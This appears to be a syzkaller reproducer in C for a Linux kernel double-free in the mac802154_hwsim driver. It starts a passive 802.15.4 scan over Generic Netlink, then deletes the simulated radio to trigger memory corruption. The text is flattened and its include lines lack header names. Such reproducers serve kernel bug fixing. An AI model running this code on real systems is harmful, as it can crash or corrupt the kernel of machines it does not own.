// https://syzkaller.appspot.com/bug?id=73c3ee0bda136528c25f2a617b3ed5752bf6df7b #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #define NL802154_GENL_NAME "nl802154" #define MAC802154_HWSIM_GENL_NAME "MAC802154_HWSIM" #define NL802154_CMD_TRIGGER_SCAN 35 #define NL802154_ATTR_IFINDEX 3 #define NL802154_ATTR_SCAN_TYPE 31 #define NL802154_SCAN_PASSIVE 3 #define MAC802154_HWSIM_CMD_GET_RADIO 1 #define MAC802154_HWSIM_CMD_NEW_RADIO 3 #define MAC802154_HWSIM_CMD_DEL_RADIO 4 #define MAC802154_HWSIM_ATTR_RADIO_ID 1 static int resolve_family(int fd, const char *name) { static uint32_t seq = 1; struct { struct nlmsghdr n; struct genlmsghdr g; char buf[256]; } req; memset(&req, 0, sizeof(req)); req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN); req.n.nlmsg_type = GENL_ID_CTRL; req.n.nlmsg_flags = NLM_F_REQUEST; req.n.nlmsg_seq = seq++; req.n.nlmsg_pid = getpid(); req.g.cmd = CTRL_CMD_GETFAMILY; req.g.version = 1; struct nlattr *na = (struct nlattr *)((char *)&req + NLMSG_LENGTH(GENL_HDRLEN)); na->nla_type = CTRL_ATTR_FAMILY_NAME; na->nla_len = NLA_HDRLEN + strlen(name) + 1; memcpy((char *)na + NLA_HDRLEN, name, strlen(name) + 1); req.n.nlmsg_len += NLA_ALIGN(na->nla_len); ssize_t sres = send(fd, &req, req.n.nlmsg_len, 0); if (sres < 0) { printf("[-] Failed to send genl request for family '%s': %s\n", name, strerror(errno)); return -1; } char buf[4096]; ssize_t rres = recv(fd, buf, sizeof(buf), 0); if (rres < 0) { printf("[-] Failed to recv genl reply for family '%s': %s\n", name, strerror(errno)); return -1; } struct nlmsghdr *nlh = (struct nlmsghdr *)buf; for (; NLMSG_OK(nlh, (size_t)rres); nlh = NLMSG_NEXT(nlh, rres)) { if (nlh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh); printf("[-] genl error reply for family '%s': %d (%s)\n", name, err->error, strerror(-err->error)); return -1; } if (nlh->nlmsg_type == GENL_ID_CTRL) { struct genlmsghdr *gh = (struct genlmsghdr *)NLMSG_DATA(nlh); struct nlattr *attr = (struct nlattr *)((char *)gh + GENL_HDRLEN); int rem = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN); while (rem >= (int)sizeof(struct nlattr) && attr->nla_len >= sizeof(struct nlattr) && attr->nla_len <= rem) { if (attr->nla_type == CTRL_ATTR_FAMILY_ID) { uint16_t fid = *(uint16_t *)((char *)attr + NLA_HDRLEN); return fid; } int aligned = NLA_ALIGN(attr->nla_len); rem -= aligned; attr = (struct nlattr *)((char *)attr + aligned); } } } printf("[-] Family '%s' attribute not found in reply\n", name); return -1; } static int wait_netlink_ack(int fd, uint32_t expected_seq) { char buf[4096]; ssize_t res = recv(fd, buf, sizeof(buf), 0); if (res < 0) { printf("[-] recv failed waiting for ACK: %s\n", strerror(errno)); return -1; } struct nlmsghdr *nlh = (struct nlmsghdr *)buf; for (; NLMSG_OK(nlh, (size_t)res); nlh = NLMSG_NEXT(nlh, res)) { if (nlh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh); if (nlh->nlmsg_seq == expected_seq) { if (err->error != 0) { printf("[-] Netlink ACK returned error: %d (%s)\n", err->error, strerror(-err->error)); return err->error; } return 0; } } } return 0; } static int find_hwsim_radios(int nlfd, int family_hwsim, uint32_t *radio_ids, int max_radios) { struct { struct nlmsghdr n; struct genlmsghdr g; } req; memset(&req, 0, sizeof(req)); req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN); req.n.nlmsg_type = family_hwsim; req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP; req.n.nlmsg_seq = 1000; req.n.nlmsg_pid = getpid(); req.g.cmd = MAC802154_HWSIM_CMD_GET_RADIO; req.g.version = 1; ssize_t sres = send(nlfd, &req, req.n.nlmsg_len, 0); if (sres < 0) { printf("[-] send GET_RADIO dump request failed: %s\n", strerror(errno)); return -1; } int count = 0; char buf[8192]; int done = 0; while (!done) { ssize_t rres = recv(nlfd, buf, sizeof(buf), 0); if (rres < 0) { printf("[-] recv failed during GET_RADIO dump: %s\n", strerror(errno)); break; } struct nlmsghdr *nlh = (struct nlmsghdr *)buf; for (; NLMSG_OK(nlh, (size_t)rres); nlh = NLMSG_NEXT(nlh, rres)) { if (nlh->nlmsg_type == NLMSG_DONE) { done = 1; break; } if (nlh->nlmsg_type == NLMSG_ERROR) { done = 1; break; } if (nlh->nlmsg_type == family_hwsim) { struct genlmsghdr *gh = (struct genlmsghdr *)NLMSG_DATA(nlh); struct nlattr *na = (struct nlattr *)((char *)gh + GENL_HDRLEN); int rem = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN); while (rem >= (int)sizeof(struct nlattr) && na->nla_len >= sizeof(struct nlattr) && na->nla_len <= rem) { if (na->nla_type == MAC802154_HWSIM_ATTR_RADIO_ID) { uint32_t rid = *(uint32_t *)((char *)na + NLA_HDRLEN); if (count < max_radios) { radio_ids[count++] = rid; } } int aligned = NLA_ALIGN(na->nla_len); rem -= aligned; na = (struct nlattr *)((char *)na + aligned); } } } } return count; } int main(void) { setvbuf(stdout, NULL, _IONBF, 0); printf("[+] Starting reproducer for invalid-free in hwsim_update_pib...\n"); int nlfd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (nlfd < 0) { printf("[-] Failed to open NETLINK_GENERIC socket: %s\n", strerror(errno)); exit(1); } printf("[+] Opened NETLINK_GENERIC socket (fd=%d)\n", nlfd); int family_hwsim = resolve_family(nlfd, MAC802154_HWSIM_GENL_NAME); if (family_hwsim < 0) { printf("[-] Failed to resolve Generic Netlink family '%s'\n", MAC802154_HWSIM_GENL_NAME); exit(1); } printf("[+] Resolved Generic Netlink family '%s' (id=%d)\n", MAC802154_HWSIM_GENL_NAME, family_hwsim); int family_nl = resolve_family(nlfd, NL802154_GENL_NAME); if (family_nl < 0) { printf("[-] Failed to resolve Generic Netlink family '%s'\n", NL802154_GENL_NAME); exit(1); } printf("[+] Resolved Generic Netlink family '%s' (id=%d)\n", NL802154_GENL_NAME, family_nl); uint32_t radio_ids[16]; int num_radios = find_hwsim_radios(nlfd, family_hwsim, radio_ids, 16); printf("[+] Discovered %d hwsim radio(s)\n", num_radios); if (num_radios <= 0) { printf("[*] Creating a new hwsim radio via MAC802154_HWSIM_CMD_NEW_RADIO...\n"); struct { struct nlmsghdr n; struct genlmsghdr g; } nreq; memset(&nreq, 0, sizeof(nreq)); nreq.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN); nreq.n.nlmsg_type = family_hwsim; nreq.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nreq.n.nlmsg_seq = 2000; nreq.n.nlmsg_pid = getpid(); nreq.g.cmd = MAC802154_HWSIM_CMD_NEW_RADIO; nreq.g.version = 1; ssize_t sres = send(nlfd, &nreq, nreq.n.nlmsg_len, 0); if (sres < 0) { printf("[-] Failed to send NEW_RADIO request: %s\n", strerror(errno)); exit(1); } wait_netlink_ack(nlfd, 2000); usleep(50000); num_radios = find_hwsim_radios(nlfd, family_hwsim, radio_ids, 16); printf("[+] Now discovered %d hwsim radio(s)\n", num_radios); } uint32_t target_radio_id = 0; if (num_radios > 0) { target_radio_id = radio_ids[0]; printf("[+] Target HWSIM radio ID: %u\n", target_radio_id); } int ifidx = 0; char target_ifname[IFNAMSIZ] = ""; for (int i = 0; i < 8; i++) { char name[IFNAMSIZ]; snprintf(name, sizeof(name), "wpan%d", i); unsigned int idx = if_nametoindex(name); if (idx != 0) { ifidx = idx; strncpy(target_ifname, name, sizeof(target_ifname) - 1); break; } } if (ifidx == 0) { printf("[-] No wpan interface found!\n"); exit(1); } printf("[+] Found network interface %s (ifindex=%d)\n", target_ifname, ifidx); int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { printf("[-] Failed to open AF_INET socket: %s\n", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, target_ifname, IFNAMSIZ - 1); int res = ioctl(s, SIOCGIFFLAGS, &ifr); if (res < 0) { printf("[-] Failed SIOCGIFFLAGS on %s: %s\n", target_ifname, strerror(errno)); exit(1); } ifr.ifr_flags |= (IFF_UP | IFF_RUNNING); res = ioctl(s, SIOCSIFFLAGS, &ifr); if (res < 0) { printf("[-] Failed SIOCSIFFLAGS on %s: %s\n", target_ifname, strerror(errno)); exit(1); } printf("[+] Interface %s successfully brought UP.\n", target_ifname); res = close(s); if (res < 0) { printf("[-] Failed to close AF_INET socket: %s\n", strerror(errno)); exit(1); } printf("[+] Triggering scan on %s via nl802154...\n", target_ifname); struct { struct nlmsghdr n; struct genlmsghdr g; char buf[256]; } sreq; memset(&sreq, 0, sizeof(sreq)); sreq.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN); sreq.n.nlmsg_type = family_nl; sreq.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; sreq.n.nlmsg_seq = 3000; sreq.n.nlmsg_pid = getpid(); sreq.g.cmd = NL802154_CMD_TRIGGER_SCAN; sreq.g.version = 1; struct nlattr *na_ifidx = (struct nlattr *)((char *)&sreq + sreq.n.nlmsg_len); na_ifidx->nla_type = NL802154_ATTR_IFINDEX; na_ifidx->nla_len = NLA_HDRLEN + sizeof(uint32_t); *(uint32_t *)((char *)na_ifidx + NLA_HDRLEN) = ifidx; sreq.n.nlmsg_len += NLA_ALIGN(na_ifidx->nla_len); struct nlattr *na_scan_type = (struct nlattr *)((char *)&sreq + sreq.n.nlmsg_len); na_scan_type->nla_type = NL802154_ATTR_SCAN_TYPE; na_scan_type->nla_len = NLA_HDRLEN + sizeof(uint8_t); *(uint8_t *)((char *)na_scan_type + NLA_HDRLEN) = NL802154_SCAN_PASSIVE; sreq.n.nlmsg_len += NLA_ALIGN(na_scan_type->nla_len); ssize_t send_res = send(nlfd, &sreq, sreq.n.nlmsg_len, 0); if (send_res < 0) { printf("[-] Failed to send NL802154_CMD_TRIGGER_SCAN: %s\n", strerror(errno)); exit(1); } res = wait_netlink_ack(nlfd, 3000); if (res < 0) { printf("[-] Scan trigger failed with error %d\n", res); exit(1); } printf("[+] NL802154_CMD_TRIGGER_SCAN acknowledged, scan active on %s.\n", target_ifname); printf("[+] Sleeping 30ms to allow mac802154_scan_worker to run and replace PIB...\n"); usleep(30000); printf("[+] Deleting HWSIM radio ID %u (triggering double-free bug in hwsim_update_pib)...\n", target_radio_id); struct { struct nlmsghdr n; struct genlmsghdr g; char buf[256]; } dreq; memset(&dreq, 0, sizeof(dreq)); dreq.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN); dreq.n.nlmsg_type = family_hwsim; dreq.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; dreq.n.nlmsg_seq = 4000; dreq.n.nlmsg_pid = getpid(); dreq.g.cmd = MAC802154_HWSIM_CMD_DEL_RADIO; dreq.g.version = 1; struct nlattr *na_rad_id = (struct nlattr *)((char *)&dreq + dreq.n.nlmsg_len); na_rad_id->nla_type = MAC802154_HWSIM_ATTR_RADIO_ID; na_rad_id->nla_len = NLA_HDRLEN + sizeof(uint32_t); *(uint32_t *)((char *)na_rad_id + NLA_HDRLEN) = target_radio_id; dreq.n.nlmsg_len += NLA_ALIGN(na_rad_id->nla_len); send_res = send(nlfd, &dreq, dreq.n.nlmsg_len, 0); if (send_res < 0) { printf("[-] Failed to send MAC802154_HWSIM_CMD_DEL_RADIO: %s\n", strerror(errno)); exit(1); } printf("[+] DEL_RADIO request sent.\n"); wait_netlink_ack(nlfd, 4000); printf("[+] Radio deletion finished, sleeping 1s for asynchronous cleanup...\n"); sleep(1); res = close(nlfd); if (res < 0) { printf("[-] Failed to close NETLINK_GENERIC socket: %s\n", strerror(errno)); exit(1); } printf("[+] Reproducer completed.\n"); return 0; }